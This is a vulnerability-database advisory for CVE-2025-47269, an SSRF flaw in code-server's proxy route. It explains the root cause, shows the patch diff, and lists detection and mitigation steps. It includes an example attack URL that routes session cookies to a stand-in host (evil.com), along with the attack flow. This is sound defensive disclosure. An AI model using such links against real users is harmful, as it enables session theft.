The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2025-47269

CVE-2025-47269: code-server SSRF Vulnerability

CVE-2025-47269 is an SSRF vulnerability in code-server that allows attackers to exfiltrate session tokens through malicious proxy URLs. This article covers the technical details, affected versions, and mitigation strategies.

Updated: January 22, 2026

CVE-2025-47269 Overview

CVE-2025-47269 is an Improper Proxy Request Validation vulnerability in code-server, the popular tool that enables VS Code to run on any machine with browser access. Prior to version 4.99.4, the application fails to properly validate port parameters in proxy requests, allowing attackers to redirect traffic to arbitrary external domains. This vulnerability is classified under CWE-441 (Unintended Proxy or Intermediary).

Critical Impact

Attackers can craft malicious URLs that exfiltrate session tokens, leading to complete system compromise with the privileges of the user running code-server.

Affected Products

  • code-server versions prior to 4.99.4
  • Deployments with the built-in proxy feature enabled
  • Instances accessible via web browser with proxy subpath functionality

Discovery Timeline

  • 2025-05-09 - CVE-2025-47269 published to NVD
  • 2025-05-12 - Last updated in NVD database

Technical Details for CVE-2025-47269

Vulnerability Analysis

This vulnerability resides in the proxy subpath handling mechanism of code-server. The application's proxy feature is designed to forward requests to local ports, enabling developers to access locally running services through their code-server instance. However, the implementation fails to validate that the port parameter contains only numeric values, allowing attackers to inject arbitrary domain references.

When a user clicks a maliciously crafted URL such as https://<code-server>/proxy/test@evil.com/path, the application incorrectly interprets the path and proxies the request to the attacker-controlled domain test@evil.com/path. Since cookies are included in proxied requests, this allows the attacker to capture the user's session token.

Root Cause

The root cause lies in the path proxy route handler within src/node/routes/pathProxy.ts. The vulnerable code directly concatenates the req.params.port parameter into the proxy URL without proper validation or parsing. The parameter was expected to be a numeric port value but accepted arbitrary strings, enabling URL manipulation attacks.

Attack Vector

The attack exploits the network-accessible proxy functionality through user interaction. An attacker must convince a victim to click a malicious link pointing to their code-server instance. The attack flow is:

  1. Attacker crafts a URL with their domain embedded in the port parameter
  2. Victim clicks the malicious link while authenticated to code-server
  3. code-server proxies the request to the attacker's domain, including session cookies
  4. Attacker captures the session token and gains full access to the victim's code-server instance
typescript
 ): string => {
   // If there is a base path, strip it out.
   const base = (req as any).base || ""
-  return `http://0.0.0.0:${req.params.port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
+  let port: number
+  try {
+    port = parseInt(req.params.port, 10)
+  } catch (err) {
+    throw new HttpError("Invalid port", HttpCode.BadRequest)
+  }
+  return `http://0.0.0.0:${port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
 }
 
 export async function proxy(

Source: GitHub Commit Update

Detection Methods for CVE-2025-47269

Indicators of Compromise

  • Outbound connections from code-server instances to unexpected external domains
  • Proxy requests with non-numeric port parameters containing @ symbols or domain names
  • Session token usage from IP addresses inconsistent with legitimate user activity
  • Unusual access patterns following proxy requests to external domains

Detection Strategies

  • Implement web application firewall rules to detect proxy requests with malformed port parameters
  • Monitor code-server access logs for /proxy/ paths containing non-numeric characters
  • Alert on session authentications from new geographic locations or IP addresses
  • Review HTTP referrer headers for suspicious external domain references in proxy requests

Monitoring Recommendations

  • Enable verbose logging for the proxy subpath functionality in code-server
  • Configure network monitoring to track outbound connections from code-server host systems
  • Implement anomaly detection for session token usage patterns
  • Set up alerts for authentication events following proxy route access

How to Mitigate CVE-2025-47269

Immediate Actions Required

  • Upgrade code-server to version 4.99.4 or later immediately
  • Review access logs for any signs of exploitation prior to patching
  • Rotate session tokens for all users as a precautionary measure
  • Consider temporarily disabling the proxy feature if immediate upgrade is not possible

Patch Information

The vulnerability has been addressed in code-server version 4.99.4. The fix implements proper integer parsing for the port parameter, rejecting any non-numeric values with an HTTP 400 Bad Request error. Organizations should update their code-server installations immediately.

For detailed patch information, refer to the GitHub Security Advisory GHSA-p483-wpfp-42cj and the official release v4.99.4.

Workarounds

  • Disable the built-in proxy feature if not required for operations
  • Implement network-level restrictions to prevent code-server from making outbound connections to arbitrary domains
  • Use a reverse proxy with strict URL validation rules in front of code-server
  • Educate users about the risks of clicking untrusted links to code-server instances
bash
# Configuration example
# Update code-server to patched version
npm update code-server@4.99.4

# Or using the standalone installer
curl -fsSL https://code-server.dev/install.sh | sh -s -- --version=4.99.4

# Verify installed version
code-server --version

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeSSRF

  • Vendor/TechCode Server

  • SeverityHIGH

  • CVSS Score8.3

  • EPSS Probability0.04%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityHigh
  • AvailabilityLow
  • CWE References
  • CWE-441
  • Technical References
  • GitHub Commit Update

  • GitHub Release v4.99.4

  • GitHub Security Advisory GHSA-p483-wpfp-42cj
  • Latest CVEs
  • CVE-2025-9185: Mozilla Firefox RCE Vulnerability

  • CVE-2025-9184: Mozilla Firefox RCE Vulnerability

  • CVE-2025-9180: Mozilla Firefox Auth Bypass Vulnerability

  • CVE-2025-8030: Mozilla Firefox RCE Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English